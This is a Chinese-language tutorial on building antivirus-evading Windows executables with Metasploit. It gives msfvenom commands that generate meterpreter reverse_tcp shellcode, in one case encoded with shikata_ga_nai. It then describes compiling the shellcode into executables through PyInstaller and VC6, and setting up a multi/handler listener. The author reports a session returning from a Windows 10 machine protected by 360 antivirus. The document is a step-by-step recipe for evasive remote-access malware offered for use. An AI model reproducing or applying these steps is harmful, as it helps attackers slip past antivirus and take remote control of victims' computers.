metasploit 生成免杀文件

一.利用python编译做免杀

建议安装一个32位windows7，32位python2.7,pyinstaller-2.0,pywin32_2.7(小伙子在这里也试过其他版本的，但是感觉不稳定，大家也可以多去试试)

1.利用metasploit生成shellcode并且保存到一个msf.py文件里，在终端输入msfvenom -p windows/meterpreter/reverse_tcp LPORT=1234 LHOST=0.0.0.0 -i 11 -f py -o msf.py   这里端口号随便设置，但是注意不要与其他服务冲突

2.shellcode生成成功打开文件，并且复制出来

3.payload是一位大佬写的

shell()

4.把中间的shellcode换成自己生成

5.在pyinstaller目录下新建一个文件Testing.py，把代码结合了自己shellcode的代码复制进去

6.利用python进行编译,命令python PyInstaller.py --console --onefile Testing.py

7.最后会生成文件存在于pyinstaller\Testing\dist目录下，脚本运行成功最后会显示位置

下面小伙子在双360下，测试反弹session

1.打开metasploit，命令msfconsole

2.使用监听模块,命令use exploit/multi/handler

3.设置payload,命令set payload windows/meterpreter/reverse_tcp

4.设置本机ip,端口号,和之前生成shellcode时设置的要统一，命令:

set LHOST 0.0.0.0

set LPORT 1234

5.运行，exploit

6.在windows 10上双击运行文件(小编用的是双360),成功运行，并且返回session

二.生成c编译的shellcode

1.命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=192.168.0.110 lport=4444 -f c

2.payload如下,把shellcode替换成自己的

3.这里小伙子是使用的vc6.0进行编译，点击文件-新建-选择工程-Win32 Application-工程名字随意-点击确定

4.选择新建一个空工程

5.新建一个文件,点击文件-新建-文件-C++ource File-名称随便

6.把自己的代码贴进去

7.点击组建-编译，可以看到0个错误

8.点击组建，生成exe文件,

9.来到你vc6目录下MyProjects文件下，新建工程DarkHQ目录下，Dbug文件夹下，找到生成的exe文件

感谢各位大佬赏脸，有什么不足的地方请多多指教，欢迎意见轰炸，谢谢！！！
